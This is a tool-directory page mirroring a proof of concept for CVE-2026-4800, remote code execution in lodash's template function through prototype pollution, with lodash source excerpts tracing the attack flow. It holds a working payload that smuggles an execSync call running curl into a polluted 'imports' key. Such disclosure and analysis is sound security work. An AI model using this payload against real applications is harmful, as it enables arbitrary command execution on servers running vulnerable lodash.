Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-4800-POC — Proof-of-concept demonstrating remote code execution in lodash template via prototype pollution, with detailed analysis of the attack flow and exploitation technique. | Kitploit
Tools/GitHubGitHub/threalwinky/cve-2026-4800-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPayload Development
GitHubthrealwinky/cve-2026-4800-poc

CVE-2026-4800-POC

Proof-of-concept demonstrating remote code execution in lodash template via prototype pollution, with detailed analysis of the attack flow and exploitation technique.

View Repository
24 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-4800-POC

Security Advisory

https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc

POC

root@kitploit:~
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

alt text

Flow

  • Using a prior prototype pollution vulnerability to pollute Object.prototype.imports with an attacker-controlled property

  • Next, it calls _.template('', {}) with a normal plain-object options value

  • Inside _.template(), lodash copies options with at

assignInWith({}, options, settings, ...)
lodash.js:14877
root@kitploit:~
function template(string, options, guard) {
      // Based on John Resig's `tmpl` implementation
      // (http://ejohn.org/blog/javascript-micro-templating/)
      // and Laura Doktorova's doT.js (https://github.com/olado/doT).
      var settings = lodash.templateSettings;

      if (guard && isIterateeCall(string, options, guard)) {
        options = undefined;
      }
      string = toString(string);
      options = assignInWith({}, options, settings, customDefaultsAssignIn);


...
  • assignInWith uses keysIn(source) at lodash.js:12778
root@kitploit:~
    var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
      copyObject(source, keysIn(source), object, customizer);
    });

  • keysIn() includes inherited enumerable properties at lodash.js:13440
root@kitploit:~
    function keysIn(object) {
      return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
    }

  • Because the options object is a normal {}, it inherits the polluted imports property from Object.prototype, and lodash copies that inherited value into local options.imports

  • Lodash then builds imports with assignInWith({}, options.imports, settings.imports, ...) at lodash.js:14889, extracts importsKeys at lodash.js:14889, and passes them into Function(importsKeys, ...) at lodash.js:14957

root@kitploit:~
...

      // Cleanup code by stripping empty strings.
      source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
        .replace(reEmptyStringMiddle, '$1')
        .replace(reEmptyStringTrailing, '$1;');

      // Frame code as the function body.
      source = 'function(' + (variable || 'obj') + ') {\n' +
        (variable
          ? ''
          : 'obj || (obj = {});\n'
        ) +
        "var __t, __p = ''" +
        (isEscaping
           ? ', __e = _.escape'
           : ''
        ) +
        (isEvaluating
          ? ', __j = Array.prototype.join;\n' +
            "function print() { __p += __j.call(arguments, '') }\n"
          : ';\n'
        ) +
        source +
        'return __p\n}';

      var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });

...
  • My polluted key is treated as a formal parameter with a default expression:

    root@kitploit:~
    x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
    
Download Tool